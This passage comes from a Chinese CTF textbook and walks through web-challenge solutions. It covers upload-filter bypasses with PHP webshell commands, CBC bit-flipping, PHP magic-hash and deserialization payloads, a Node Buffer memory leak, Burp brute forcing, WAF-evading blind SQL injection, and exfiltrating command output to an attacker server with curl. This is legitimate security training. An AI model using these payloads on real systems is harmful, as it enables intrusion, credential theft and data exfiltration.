 这种题目的页面往往只有一个上传功能。在CTF比赛中，只有上传表单的页面是很常见的。这种题目主要考察选手的上传绕过能力，至于题目的难度，一般根据题目的分值而定：低分题目通常只有一个上传页面；高分题目通常不会只考察上传绕过，而会伴随对其他知识点的考察。
 
 在解题时，首先要知道题目的上传功能都进行了哪些验证。上传验证大致分为两种：一种是前端验证，也就是客户端验证；另一种是后端验证，也就是服务端验证。前端验证方法只有一种，就是JavaScript验证，即通过前端JavaScript语言对上传的文件进行验证，从而判断文件是否合法。后端验证的方法要比前端验证的方法多一些，常见的有MIME验证、文件目录验证、文件扩展名验证、文件内容验证。
 
 判断所采用的验证方法，其实也很简单。打开Burp Suite抓包工具，抓取上传的数据包并进行修改。例如，要想验证JavaScript前端过滤，可以打开Burp Suite，开启代理，在提交请求时查看是否可以抓到请求包。如果Burp Suite没有抓到请求包，而浏览器已经返回了结果，就说明上传验证是在前端进行过滤的，请求没有发到服务端；如果抓到了请求包，就说明过滤是在服务端进行的，在解题时就可以考虑服务端验证的常用方法（这也是一个简单的验证过程）。
 
 首先，上传一幅正常的图片，使用Burp Suite抓取上传的数据包。如图1-41所示，可以看到文件名称、文件类型和上传内容。这样，就可以通过数据包修改文件名称、文件类型和上传内容，从而绕过验证了。放行这个数据包，上传成功，并返回了上传路径和文件名称。
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  图1-41
 
 
 
 接下来，判断验证过滤的类型。上传一个PHP一句话木马文件，通过Burp Suite抓取数据包，将包转到Repeater模块中显示。这样，就可以重复提交，不需要重新抓包了，如图1-42所示。
 
 单击“Go”按钮，发送数据包，返回了一个错误，如图1-43所示。根据错误提示，这是文件类型错误，不是文件后缀错误，因此，可以判断服务器是通过MIME文件类型进行验证的。这样，就可以通过修改MIME类型来绕过验证了。
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  图1-42
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  图1-43
 
 
 
 上传一幅正常的图片，获取图片的格式IMAGE/JPEG。将PHP文件的格式改为这幅图片的格式，然后上传，如图1-44所示。
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  图1-44
 
 
 
 从返回信息中可以看出，文件上传成功，获得了上传后的路径及文件名称，如图1-45所示。
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  图1-45
 
 
 
 访问上传后文件的地址，并使用phpinfo()函数测试PHP文件是否可以执行，如图1-46所示。
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  图1-46
 
 
 
 可以看到，文件已经成功上传且可以执行。下面，就可以查看flag文件了。通过POST方式执行“1=echo `dir ..\\`;”命令（由于题目网站使用的是Windows服务器，所以使用dir命令；如果题目网站使用的是Linux服务器，则应使用ls或ll命令），查看当前目录。如图1-47所示，返回结果里有“f1a9.php”，这应该就是flag文件。
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  图1-47
 
 
 
 执行“1=echo `type ..\\f1a9.php`;”命令（type是DOS下的文本读取命令，可用于读取文本内容），如图1-48所示。这样，我们就成功获取了flag。
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  图1-48
 
 
 
 本题是SSCTF的一道Web类赛题，分值为100分。从分值和题目顺序看，应该是一道简单的题目。打开看题目页面，也只有一个上传表单，并无其他内容。但是在比赛中，后面的200分甚至300分的题目都陆续有人答出，而这道题还是无人能够解答。很多选手一度认为题目出了问题，而SSCTF主办方反馈题目并无问题。
 
 如果使用通用的上传方法都无法解答题目，那么题目使用的很可能是一种冷门的上传方法。冷门知识点在CTF比赛里经常见到，主要考察选手的知识面和搜索能力。到网上搜索相关信息，找到了一篇关于某CMS上传漏洞的文章。这个漏洞很“奇葩”，并没有修改Content-Type的内容，而是修改了HTTP头的Content-Type的内容——只要修改首字母的大小写，就可以上传了，如图1-49所示。
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  图1-49
 
 
 
 小结
 
 文件上传漏洞出现了很多年，已经被安全人员研究透了。CTF比赛考察的知识点主要是绕过验证，难点是WAF的绕过。如果常规方法都失败了，就可以去找网上找找已公布的上传漏洞的相关信息，往往会有意外的收获——这些案例是出题人的灵感来源。
 
 题目2　PHP标签
 
 题目概况
 
 题目地址见链接1-2。选手需要获得下发的题目才可以解题，默认一次下发只有1小时的解题时间。
 
 解题思路
 
 通过页面上的介绍很容易判断，这道题考察的是绕过上传验证，如图1-50所示。
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  图1-50
 
 
 
 题目页面非常简单，只有一个上传表单，如图1-51所示。
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  图1-51
 
 
 
 既然考察的是绕过上传验证，就可以上传一幅正常的图片，测试上传功能是否正常，如图1-52所示。提示上传成功，看来上传功能是正常的，如图1-53所示。
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  图1-52
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  图1-53
 
 
 
 既然上传功能是正常的，就可以尝试上传一个非法文件。上传一个PHP文件，看一下网站是否有验证机制。如图1-54所示，文件上传失败，页面访问被拦截，说明网站有验证机制，不可以直接上传非法文件。
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  图1-54
 
 
 
 接下来，测试一下网站采取了哪些验证措施。使用Burp Suite抓包工具，抓取上传PHP文件的请求包。将抓取的包发送至Repeater模块，如图1-55所示。
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  图1-55
 
 
 
 上传一幅图片，并把图片改为PHP格式，测试网站是否会对文件后缀进行验证。在这里，我们上传的文件其实是正常的图片文件（内容和类型都是正常的），只有文件后缀是“.php”，因此，如果上传成功，就说明网站没有采取验证文件后缀的措施，返回结果中不会提示存在405错误。
 
 单击之前上传成功的链接中的“上传成功”字样，就可以获取文件的地址了。由此可以判断，网站没有采取验证文件后缀的措施，只验证了文件的内容，如图1-56所示。
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  图1-56
 
 
 
 尝试将文件的内容全部删除并上传。如果网站使用的是白名单验证机制，那么将无法上传。如果提示上传成功，就说明网站使用的是黑名单验证机制，如图1-57所示。
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  图1-57
 
 
 
 删除一句话木马中的关键字，以检测黑名单的内容。删除“eval”关键字，如图1-58所示。页面上传成功，如图1-59所示。
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  图1-58
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  图1-59
 
 
 
 打开/u/1.php，页面返回的是文件的内容，说明PHP文件没有执行，只是作为文本文件显示出来了。通过显示的内容可知，“<?”被删除了，这将导致PHP标签不完整，PHP文件无法执行，如图1-60所示。
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  图1-60
 
 
 
 现在我们知道，服务器的黑名单里有“<?”“ecal”两个关键字（这也是本题考察的知识点）。熟悉PHP语言的读者应该知道，PHP标签并非只有“<?php ?>”一种，而是有四种，列举如下。
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 现在，需要从这四种标签里找到一种可以绕过黑名单的标签。“<?php ?>”“<? ?>”显然不合适，“<% %>”需要开启短标签功能，因此，只有第四种比较合适（也是绕过上传验证机制时经常使用的一种标签）。既然有了绕过方法，就试试看是否可以上传文件，如图1-61所示。
 
  
  [image: ] 
  图1-61
 
 
 
 上传成功，访问文件地址查看结果，如图1-62所示。
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  图1-62
 
 
 
 页面返回内容是空白的。查看源代码，如图1-63所示。
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  图1-63
 
 
 
 还是没有解析成功。仔细看这段代码，发现字符“php”不见了，这应该是没有成功解析导致的。看来，黑名单里有“php”关键字。把“php”替换为“PHP”（大小写替换是绕过黑名单的常用方法），再试试看，如图1-64所示。
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  图1-64
 
 
 
 源代码页是空白的，说明已经解析了上传的代码，如图1-65所示。
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  图1-65
 
 
 
 目前，已经绕过了标签和“php”关键字。但是，黑名单里还有一个关键字“eval”。“eval”是必须绕过的吗？其实，只要传输这个参数的值，并将其显示出来就可以了，代码如下，如图1-66所示。
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  图1-66
 
 
 
 重新上传文件，显示上传成功，如图1-67所示。
 
  
  [image: ] 
  图1-67
 
 
 
 访问文件地址，执行ls命令，可以看到，已经返回对方的目录，如图1-68所示。
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  图1-68
 
 
 
 执行cat命令，查看flag.php文件，得到flag。提交flag，如图1-69所示。
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  图1-69
 
 
 
 小结
 
 这道题是比较简单的，只考察了绕过上传验证的知识点。只要选手熟悉PHP语言的特性，还是比较容易解答的。
 
 
 1.5　信息泄露漏洞
 
 由于信息泄露漏洞无法帮助攻击者直接获得服务器权限，所以通常被网站管理员认为是很“鸡肋”的一种漏洞。但是，攻击者往往能通过被泄露的关键信息获取数据库密码、网页源代码、网站架构等，并通过这些信息采取其他攻击行为。
 
 敏感信息泄露通常有以下几种情况。
 
 • 开发工作完成后未删除的编辑器缓存文件。
 
 • 备份的 .1、.bak等文件。
 
 • 开发工作完成后未删除的phpinfo、探针等文件。
 
 • 安装文件。
 
 • SVN信息。
 
 • GitHub源代码中的账号和密码。
 
 • 服务器配置不当导致的目录遍历。
 
 • 默认名称的可下载数据库等文件。
 
 • 可猜测的目录地址。
 
 题目1　CBC-ATTACK
 
 题目概况
 
 CBC-ATTACK（字节翻转攻击）与加密算法的关系比较紧密。
 
 在解答本题时，可以先通过一个简单的信息泄露漏洞获得源代码，再利用字节翻转攻击取得flag。
 
 解题思路
 
 题目页面的标题为“login”，页面上只有简单的登录框，没有其他提示，如图1-70所示。看到登录框，就要进行简单的注入测试。测试发现，网站不存在常规的注入漏洞。
 
 接下来，测试robots.txt、xxx.php.bak、xxx.php~、xxx.php.swp等文件是否存在。题目中存在test.php~文件，由此可以得到题目的源代码，如图1-71所示。
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  图1-70
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  图1-71
 
 
 
 在第2行代码中，题目给出了一条注释，是一条提示信息。将该条注释的内容复制出来，粘贴到登录框中，单击登录按钮，如图1-72所示。
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  图1-72
 
 
 
 返回信息提示我们，uid的值为1，不允许登录。看来，解题的关键就是这条注释。
 
 接下来，将源代码保存到本地，以便查看。
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 这段代码的大意是：接收一个字符串，通过解密算法将这个字符串的原始数据解密，然后将原文数据的第17位取出，判定其值是否为4；如果为4，则直接返回flag；如果不为4，则返回不允许登录的提示信息。题目使用的加密算法已通过源代码给出，为CBC。
 
 整体解题思路已经分析清楚了：构造一段密文，使其解密后的明文的第4段的值为4。
 
 可以使用字节翻转攻击来解答本题。首先，需要了解CBC算法的工作原理。图1-73很好地说明了CBC算法的加密方式：先将明文分组与前一个密文分组（如果是第一组，则与Ⅳ）进行XOR运算，再进行加密。
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  图1-73
 
 
 
 CBC算法的解密方式，如图1-74所示。对密文分组，先进行解密，再进行XOR运算，就能得到明文分组。
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  图1-74
 
 
 
 CBC解密的公式如下。
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 改变Ⅳ的值，只会影响解密得到的第1组明文。改变密文中的1位，会导致其所对应的明文块完全改变，以及下一个明文块中的对应位改变，不会影响其他明文块的内容。密文通常以16个字符为一组，本题刚好要取第17个字符，也就是第2组密文的第1个字符。根据上面的公式可知，修改第1组密文的第1个字符会对第2组密文的第1个字符造成影响。因此，只需要遍历前2个字节，让第17个字符的值为4。
 
 使用Burp Suite或自行编写脚本，用00～ff爆破前2个字节，得到结果“a6e250d5bc2 36431cda41390a6ffbb6f5982a73b32b2371751e89bbc7892d08a”。
 
 题目2　robots
 
 题目概况
 
 robots是网站与爬虫之间的协议。在渗透测试前期搜集信息的过程中，可以通过robots文件获取网站的目录结构。
 
 在JUNIORS CTF中有一道分值为500分的真题（CRYPTO-SHOP），难度不大，但如果选手不够细心，也很难解答。题目描述如下。
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 解题思路
 
 题目描述中多次提到“加密”，于是猜测题目可能与加密有关。打开题目页面，其中只显示了一些简单的内容，具体如下。
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 Gravitycoin的价格是140.3，而我们目前拥有的Gravitycoin为0，猜测需要将拥有的Gravitycoin提高到140.3以上才能解题。
 
 单击右键，查看源代码，其中没有可用的信息。查看Cookie文件，具体如下。
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 在这个Cookie文件中，先使用Base64进行了一次编码，再使用URL进行了一次编码。还原内容，如图1-75所示。
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  图1-75
 
 
 
 由于还原的内容没有实际意义，所以无法从Cookie中获取有效信息。尝试还原其他文件，例如 .bak、.rar、.tar、.gz等，也都失败了。解题暂时没有头绪。突然想到还没有查看最基本的robots.tx文件。于是，打开robots.txt文件——找到了我们想要的内容。
 
 
  [image: ]
 
 
 访问rsa.html，页面跳转到403.html。查看源代码，发现其中有一串JavaScript代码进行了重定向，指向403.html。
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 在这里发现了一个公钥，而题目的主题也是加密，所以这个公钥应该是解题的关键。现在，解题思路很明确了：通过这个公钥生成一个Cookie，将Cookie修改为已购买足够的Gravitycoin，从而获得flag，如图1-76所示。
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  图1-76
 
 
 
 将公钥存储在本地，然后生成一个Cookie，具体如下。
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 对特殊符号进行URL编码，具体如下。
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 用这个值替换现在的Cookie，我们拥有的Gravitycoin变为2333，解题成功。
 
 
 1.6　代码审计
 
 代码审计就是检查源代码中的缺点和错误信息，分析可能引发问题的安全漏洞。这需要选手具备一定的代码读写能力，读懂代码做了什么，从而分析代码中存在的问题。
 
 在CTF比赛中，代码审计题目一般会通过信息泄露的方式“不小心”将源代码文件提供给选手。选手查看源代码中的危险函数或逻辑漏洞，找出问题，完成题目。
 
 题目1　散列值
 
 題目概況
 
 “MESS OF HASH”是Internetwache CTF的一道题目。题目介绍中说：一位学生开发了一种新的登录管理技术，但它的安全性值得怀疑；散列值是不可破解的，但没有找到问题在哪里。题目提供了一个附件，其中包含一段PHP代码，具体如下。
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 解题思路
 
 通过阅读这些代码我们应该知道，本题需要使用用户名pr0_adm1n和相应的密码登录。如题目所述，散列值是不可破解的，散列值0e408306536730731920197920342119的原文几乎不可能得到。不过，这串密文的开头是“0e”，问题就出在这里（这是PHP代码审计中的常见问题）。
 
 在PHP中，三个等号“===”表示比较对象的类型一致，两个等号“==”表示只要比较对象的值相等就满足条件。也就是说，如果使用“==”，就可以把以“0e”开头的散列值解释为0。所以，如果两个不同的密码的散列值都是以“0e”开头的，那么PHP将认为它们是相同的（都是0）。在解题时，只需要构造一个以“0e”开头的散列值。
 
 编写一个简单的脚本，按照题目给出的代码使用的计算方法算出一个以“0e”开头的散列值，具体如下。
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 大概一两分钟就可以得到结果。将得到的结果作为密码登录，得到flag。
 
 小结
 
 这是一道入门级的代码审计题目（也可以说是入门级的编程题目），要求选手能够看懂简单的代码，了解PHP中“===”和“==”的区别。理解了出题人的目的，按照出题人的思路写出简单的脚本，就可以顺利解题。
 
 题目2　对象注入
 
 题目概况
 
 对象注入也称作反序列化注入，是一种常见的漏洞类型。
 
 解题思路
 
 打开题目地址，映入眼帘的是一段PHP代码。看到PHP代码，我们应该意识到：在CTF比赛中，只有一种情况会导致这种现象，那就是代码审计。对于无法以黑盒方式解答的题目，出题人会给出关键代码，让选手通过代码审计找出漏洞。所以，这段代码中一定存在漏洞。至于是什么漏洞，就让我们分析一下吧。
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 以上代码声明了一个类，这个类里面有$enter和$secret两个成员。
 
 下面几行代码的意图很明显。首先，把传入的 $pass参数反序列化并传参给 $o。如果$o被成功传参，那么“$o->secret”将被赋值为“*”；同时，如果“$o->secret === $o->enter”成立，就输出“o->secret”。
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 从这个过程中可以获得一些信息。脚本用于获取我们传入的参数，并进行反序列化。给 $o中的secret赋值：如果$o->secret和$o->enter相等，就输出这个值。这个值当然不会是“*”，如果是这样，也就不用赋值了，$o->secret的值应该就是flag了（也就是说，输出$o->secret就可以得到flag了）。那么，如何得到flag呢？要看这段代码里存在什么漏洞。其实，之前通过分析我们已经有了一些发现：unserialize()函数是反序列化函数，如果这个函数存在，并且出现在确实有漏洞的代码中，就可以判断题目考察的是利用反序列化漏洞输出 $o->secret的值。
 
 在PHP中，普通的传值赋值行为有一个例外，就是碰到对象（Object）时。在PHP 5中是通过引用赋值的（除非明确使用clone关键字进行复制）。PHP支持引用赋值，并使用“$var = &$othervar;”语法。引用赋值意味着两个变量指向同一个数据，而没有复制任何内容——这就是解题的关键。
 
 我们换一种方式来表示。
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 由于引用了传入的参数，a和b引用的是同一个数据，所以，在进行a+1计算后，b也会变成2。于是，将代码修改如下。
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 根据引用传参的特点，让$o->secret和 $o->enter的值相等（这样，这两个变量就永远相等了），然后输出序列化字符串“O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}”，如图1-77所示，提交后得到flag。
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  图1-77
 
 
 
 小结
 
 在CTF比赛中，代码审计题目的数量是比较多的。这类题目一般用于考察选手的白盒测试水平。对漏洞原理了解得比较深入的选手在解答这类题目时不会遇到很大的阻碍。
 
 题目3　JavaScript代码审计
 
 题目概况
 
 JavaScript代码审计是近几年CTF比赛的宠儿，在国际和国内的CTF比赛中都会出现JavaScript代码审计方面的题目，下面介绍其中的一道。
 
 打开网站，如图1-78所示，页面内容的大致意思是：我们认为任何人都应该放弃像C语言那样的不安全的语言，使用像JavaScript这样的更安全的语言。
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  图1-78
 
 
 
 解题思路
 
 从题目介绍中可以看出，出题人讲了一个笑话，言外之意就是要找到题目中JavaScript代码的漏洞。
 
 我们先按照正常的思路来解题。
 
 单击导航栏的功能菜单，没有获得有用的信息。接下来，输入“admin”或“user”，将打开一个输入框。输入“test”，提示密码错误，如图1-79所示。
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  图1-79
 
 
 
 打开Chrome的控制台，查看发送的包和当前的Cookie，如图1-80所示。可以看出，我们向服务器发送了值为“test”的密码，Cookie为“session=eyJhZG1pbiI6Im5vIn0=”和“session.sig=wwg0b0z2AQJ2GCyXHt53ONkIXRs”。将“eyJhZG1pbiI6Im5vIn0=”解码，得到原始数据“{"admin":"no"}”。将其中的“no”改为“yes”，使用Base64进行编码，然后提交Cookie，测试结果为无效。
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  图1-80
 
 
 
 既然常规方法无效，我们就需要从JavaScript脚本入手了。查看app.js文件。通过“var express = require('express');”可以看出，使用的是expressjs。
 
 接着，查看routes/index.js文件。
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 可以看到，以上代码将config.secret_password传递给了admin的flag参数。
 
 在views/admin.jade文件中可以看到如下代码。
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 登录验证密码是否存在，然后创建buffer()函数，将这个缓冲器（Buffer）转换为一个Base64字符串并与secret_password进行比较。如果二者相等，那么将会话置为“admin='yes'”。
 
 在password里输入一些数据，进行模糊测试，会发现碰到了Buffer类。输入不同的参数，执行buffer()函数，会得到不同的结果。我们用node.js测试一下。
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 通过以上结果可知：如果Buffer的内容是字符串，就会创建正常的缓冲器；如果Buffer的内容是数字，就会创建一个比原来的数据大的缓冲器，并且结果是不同的。这是因为，Buffer(number)不会清空内存，并且可能会泄露之前的数据。这样，就可以通过输入数字让Buffer造成内存泄露，从而获取其他信息。
 
 接下来，将password置为数字，然后输入。
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 继续发送这些数据。多次发送之后，就会造成数据泄露。
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 在多次发送之后，我们发现这里泄露了一个会话。尝试使用这个会话替换登录，登录成功，如图1-81所示。
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  图1-81
 
 
 
 小结
 
 这道题目的难度比较大。通过审计JavaScript代码可知，我们输入的密码将作为Buffer的参数。利用数字造成内存泄露的方法是有一定难度的，选手们在平时需要多掌握一些这样的小技巧。
 
 
 1.7　暴力破解
 
 暴力破解就是使用穷举法的思想根据给出的条件确定密码的大致范围，并在此范围内对所有可能的情况逐一进行验证，“碰”到符合条件的那一个。
 
 在CTF比赛中，常见的暴力破解题目一般是碰撞一个以“xx”开头的MD5值，或者碰撞一些验证码和简单密码等。
 
 题目　MD5密码破解
 
 题目概况
 
 MD5是一种被广泛使用的密码散列函数，可以产生一个128位（16字节）的散列值，用于确保信息传输的一致性。在CTF比赛中，MD5密码破解的题目多种多样，下面介绍一种常见的题目形式。
 
 解题思路
 
 打开页面，看到“please input a”，看来题目需要我们输入a的值。可是，a的值是什么，对这个值有什么要求？现在我们还不知道。
 
 单击右键，查看源代码。这个方法在很多时候都是获取线索的最直接的途径。出题人往往喜欢把一些想要让选手们知道的内容放在源代码里，这道题目就是如此。我们看到了一段PHP代码，如图1-82所示。
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  图1-82
 
 
 
 在这段代码的开头定义了一个变量@md51，其值是字符串“QNKCDZO”的MD5值。传入的a在@md5后传给了@md52。
 
 接下来，我们判断传入的a的值。该值不可能是“QNKCDZO”，并且传入的值要等于“QNKCDZO”加密后的MD5值。满足这些条件，就能输出flag了。
 
 尽管现在知道a要传入什么了，但相信读者还是有些发晕。既要不等于字符串，又要等于这个字符串的MD5值——怎么看都是题目出错了。我们先不管这个问题，计算一下“QNKCDZO”的MD5值，如图1-83所示。
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  图1-83
 
 
 
 看到MD5值开头的“0e”，恍然大悟——PHP有一个散列值比较漏洞，利用的就是以“0e”开头的MD5值。
 
 在PHP中，比较一般都是用“==”和“===”实现的。我们先看几个实验，如图1-84所示。
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  图1-84
 
 
 
 可以看出：在第一次比较中，a在比较时会自动转换为数字，所以有“0=a”；第二次比较也是这样，如果两边都为数字，就会全部转换为数值型再进行比较；后面两次比较使用了科学计数法，通过科学计数法的换算，“1e1”就等于前面的值。
 
 再做一个实验，如图1-85所示。
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  图1-85
 
 
 
 看到了吧，两个MD5值在使用科学计数法换算后都等于0——两个原本不同的MD5值在PHP的比较符下变得相等了。
 
 回到本题。我们除了需要找到代码里的“QNKCDZO”字符串，还需要找到一个以“0e”开头的MD5值。一段遍历可以生成以“0e”开头的MD5值的代码如下。
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 执行以上代码，可以获得一个字符串，如图1-86所示。
 
 从这些字符串中任意取一个传给a，成功获取flag，如图1-87所示。
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  图1-86
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  图1-87
 
 
 
 相关知识点
 
 以“0e”开头的MD5值，如表1-2所示。
 
  
  表1-2
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 小结
 
 本题考察的是PHP的散列值比较漏洞。这个知识点在实际应用中有一定的局限性，因此本题算是一道比较冷门的题目（符合CTF的出题思路）。
 
 
 1.8　反序列化
 
 序列化是指把对象转换成字节流，以便保存在内存、文件、数据库中。反序列化是序列化的逆过程，即把字节流还原成对象。如果应用对用户输入（不可信数据）进行了反序列化处理，攻击者就可以通过构造恶意输入让反序列化产生非预期的对象，而非预期的对象在产生过程中可能导致任意代码的执行。
 
 • 在Java程序中，反序列化一般可以通过执行命令获取相应的权限。
 
 • 在PHP程序中，反序列化一般可以通过“==”对比不严谨而造成Cookie、会话或权限绕过等。
 
 因为Java反序列化代码执行漏洞一般都有比较成熟的利用工具，所以其在CTF比赛中出现的概率不高。在很多时候，CTF赛题都是通过PHP的反序列化来伪造Cookie，以登录相应的账号，再进行进一步操作的。
 
 题目　messagecenter
 
 题目概况
 
 本题的标题为“messagecenter”（来自Hackover CTF），表示传递用户之间发送的信息。题目主界面的内容包括：欢迎信息；测试登录账号/密码demo/demo、demo2/demo2；用户Alice、Bob和其他用户。
 
 解题思路
 
 题目的主界面上有一个登录框，如图1-88所示。配合题目概况，我们大体可以知道，本题考察的是如何通过Alice、Bob或类似admin的用户登录以获取flag。如何登录这些账号？可以使用的方法有注入、XSS、伪造Cookie。
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  图1-88
 
 
 
 利用题目给出的测试账号登录，登录后可以发送和读取信息，那么解题思路很可能是利用XSS取得管理员的Cookie，然后拿到flag。测试一下，发现确实存在XSS，但没有管理员、Bob、Alice和其他有价值用户的Cookie。所以，我们刚才的想法可能“跑偏”了。检查Cookie，发现其中包含用户名等信息，如图1-89所示。
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  图1-89
 
 
 
 这很像是序列化后的数据。使用PHP反序列化方法还原对象，具体如下。
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 运行脚本，得到如下结果。
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 这里的Cookie是由用户名和加密后的密码组成的。在1.6节中，我们介绍过PHP的比较方式，分为“==”和“===”。如果程序中使用的是“==”，那么“password==正确的密码”和“password==True”的结果是一样的。尝试使用账号admin和密码“True”生成一个Cookie，具体如下。
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 得到Cookie的值“a%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22 admin%22%3Bs%3A8%3A%22password%22%3Bb%3A1%3B%7D”。进行登录测试，结果失败了。接下来，使用同样的方式生成账号Alice、Bob的Cookie。如图1-90所示，使用Alice的Cookie登录系统后，获得了flag，答题完成。
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  图1-90
 
 
 
 小结
 
 本题主要考察选手对PHP反序列化漏洞的掌握程度：看到“messagecenter”这个标题就应该知道，可能需要利用XSS进一步查看Cookie；了解Cookie的格式后，就应该想到可以通过反序列化和PHP比较直接将密码置为“True”。
 
 
 1.9　综合渗透
 
 综合渗透是一种接近实战的题目，包括多种漏洞的组合，重点考察选手的实战能力。
 
 题目1　命令执行
 
 题目概况
 
 如果在实际渗透测试中碰到命令执行漏洞，就代表可以直接获取一个Shell。在CTF比赛中，也有很多命令执行漏洞方面的题目。
 
 解题思路
 
 题目界面上只有一个登录窗口，使用admin/admin无法登录，提示密码错误。换成test/test，提示用户名错误，说明用户名是admin。接下来，需要获取admin的密码。
 
 尝试使用万能密码登录。输入“admin'or'1'='1”，发现系统安装了WAF，并且会返回“illegal character!!@_@”。查看源代码，发现其中有一段Base64编码。将其解密，得到一个SQL查询语句（这应该是登录查询语句）。
 
 Base64编码如下。
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 解密得到的SQL查询语句如下。
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 通过以上测试，我们得到了WAF返回的提示。现在可以测试一下过滤了哪些关键字。通过尝试，发现WAF过滤了关键字“```空格```”“```or```”“```and```”“```union```”“```+```”“```*```”“```逗号```”，未被过滤的关键字有“```()```”“```'```”“```=```”“```select```”“```from```”“```where```”，以及不含关键字的MySQL自带函数。通过前面的测试，根据返回的内容，可以判断这里存在盲注。盲注是一种无法通过直接显示来获取数据库中的数据的方法。在盲注中，攻击者会根据返回页面的不同（可能是页面内容不同，也可能是响应时间不同）来获取信息。
 
 既然知道存在盲注，就要考虑如何绕过WAF并进行注入。在MySQL中，空格可以用括号来代替。例如，下面这两个语句是没有区别的。
 
 • 使用空格：```select * from admin where uname = "admin"```。
 
 • 使用括号：```select(*)from(admin)where(uname)=("admin")```。
 
 这样，空格的问题就解决了。查询语句的结尾是一个单引号，而我们构造的语句的结尾肯定是一个括号，因此，需要构造单引号来闭合语句。在MySQL的where语句里，允许进行如下比较。
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 比较过程为从左至右依次比较。需要注意的是，在MySQL中，字符串表示为真，数字1同样表示为真（字符串格式的数字亦然），而数字0可以表示为假（字符串格式的数字亦然），没取到数据也可以表示为假。比较过程如下。
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 最后的比较结果为真。所以，我们可以控制其中的逻辑：让原来的查询条件（uname=xxx）为假，让最后的比较（xxx='0'）为假，即可任意控制中间的数字1；加上MySQL的子查询，即可构造完整的Payload。
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 SQL查询语句如下。
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 提交之后，提示“password error”，说明uname被提取出来了，即我们给出的条件为真。如果uname没有被提取，那么将会提示“username error”，即我们给出的条件为假，如图1-91所示。
 
 接下来，可以利用这个盲注猜测passwd有多少位。使用二分法可知密码为32位，应该是一个MD5值。
 
 
  [image: ]
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  图1-91
 
 
 
 现在就要猜测MD5的字符了。在这里发现逗号被过滤了，所以要先绕过逗号。在进行盲注时，需要使用substr()、mid()、limit()方法，而这些子句方法都需要使用逗号。对于substr()和mid()这两个方法，可以使用from的方式解决。
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 但是，for里又包含关键字or，所以for也不能用。尝试直接把“for 1”删除，发现命令可以执行。不断更换最后一个from后面的1（N），则mid()或substr()将从右往左取第N位到末尾。最后的语句如下。
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 判断第32位字符是否为f，是就为真，否就为假。通过返回结果“```username error```”可以判断最后一个字符不是f（因为MD5值只有数字0～9、字母a～f这16个字符）。只要我们逐一尝试，就能知道每一个位置是什么字符了，如图1-92所示。
 
 执行如下语句，返回的是“```password error```”，可以知道第32位字符为5。
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 继续使用这个方法进行测试。手工测试比较烦琐，可以自己制作一个字典，使用Burp Suite进行遍历，也可以自己写一个脚本进行遍历。在本题中，遍历的结果是“```e2e31a427d2e8c4851b53f7eeb9fff95```”，通过MD5破解，密码为“```test888```”，如图1-93所示。
 
  
  [image: ] 
  图1-92
 
 
 
  
  [image: ] 
  图1-93
 
 
 
 有了密码，就可以登录了，如图1-94所示。
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  图1-94
 
 
 
 登录后，并没有得到预想中的flag，而是看到了一个输入框。这很可能是一个命令输入框。尝试输入“```ls```”，显示命令执行成功，因此，可以判断这里有一个命令执行漏洞。那么，具体有什么限制呢？执行几条命令试试看吧。
 
 输入常用的“```ls```”等命令，发现无法得到返回结果，只会提示是否成功。然而，如果没有得到返回结果，就无法找到目录。该怎么办呢？这时就需要利用“```Cloud Eye```”或“```Web Server Log```”把数据透传出来，执行命令“```curl```”将数据转发到我们自己的服务器，然后使用“```head```”和“```tail```”命令读取数据，最后直接查看我们自己的服务器的“```Web Server Log```”，从而获得数据。最终的命令如下。
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 “```-n```”后面的“```1```”是显示的行数。只要调整这个值，就可以看到整个目录。
 
 经过不断尝试，执行以下命令，就可以得到flag“```flag{7f22b26386864eba}```”了，如图1-95所示。
 
 
  [image: ]
 
 
 小结
 
 本题利用了两个漏洞，包括一个盲注漏洞和一个命令执行漏洞。多个漏洞组合构成题目是近来比较流行的CTF赛题形式。
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  图1-95
 
 
 
 题目2　越权访问
 
 题目概况
 
 越权漏洞，简单地理解就是用户通过漏洞访问非授权的页面或功能（越权访问）。在中国网络安全大赛中就有一道关于越权漏洞的题目。
 
 解题思路
 
 访问题目网址，可以看到一个管理后台。查看源代码（要养成这个习惯，往往会有意外发现），找到一个测试账号demo，其密码为123456，如图1-96所示。使用测试账号登录，登录失败，看来这个账号已经无法使用了。
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  图1-96
 
 
 
 返回管理后台首页。登录页面是CTF比赛最常见的考察点，一共有三种破解方法：暴力破解；SQL注入（万能密码）；越权访问。在本题中，我们从暴力破解开始进行测试。
 
 首先，使用默认账号admin，密码可以通过暴力破解获取。在这里，使用Burp Suite进行爆破，如图1-97所示。
 
 接下来，抓取登录请求的数据包。要实现抓包功能，就必须将Burp Suite设置为浏览器代理。这样，从浏览器向服务器发送的数据包就会被Burp Suite拦截下来。
 
  
  [image: ] 
  图1-97
 
 
 
 代理设置完成后，就可以进行爆破了。单击“Intercept is on”按钮，开启抓包模式，如图1-98所示。然后，在题目的管理后台页面填写用户名“admin”和任意密码，单击登录按钮，就可以看到刚刚输入的用户名和密码了。
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  图1-98
 
 
 
 按“Ctrl+R”快捷键，或者单击右键，在弹出的快捷菜单中选择“Send to Intruder”选项，进入Burp Suite的“Intruder”标签页，在“Positions”页面中单击“Clear”按钮，清除所有默认参数。由于我们只需要破解密码，所以，选中wf_upawd参数，然后单击“Add”按钮，添加密码项，如图1-99所示。
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  图1-99
 
 
 
 进入“Payloads”页面，在“Add from list …”下拉列表中选择“passwords”选项（这是Burp Suite自带的密码字典，也可以单击“Load…”按钮加载已有的字典文件），如图1-100所示。
 
  
  [image: ] 
  图1-100
 
 
 
 切换到“Intruder”选项卡，单击“Start attack”按钮，开始破解。我们可以根据返回的字节长度找到正确的密码。最后得到的密码为“password”，如图1-101所示——这只是一个弱口令（admin、admin888、123456等也属于弱口令），Burp Suite似乎大材小用了。
 
 账号和密码分别为admin和password。关闭Burp Suite的抓包模式，输入账号和密码，进入管理后台。
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  图1-101
 
 
 
 上传一句话木马。先尝试上传一个JPG文件，发现无法上传，原因应该是没有写入权限，如图1-102所示。这种情况有两种可能：一是出题人不允许上传文件，但上传功能是完好的，只是没有写入权限，所以可能性不大；二是越权跨目录上传，这需要将文件上传到一个有写入权限的目录中，而一般网站的Session文件都需要写入权限，所以在这里可以将文件上传到Session目录中。那么，要如何跨目录进行上传操作呢？
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  图1-102
 
 
 
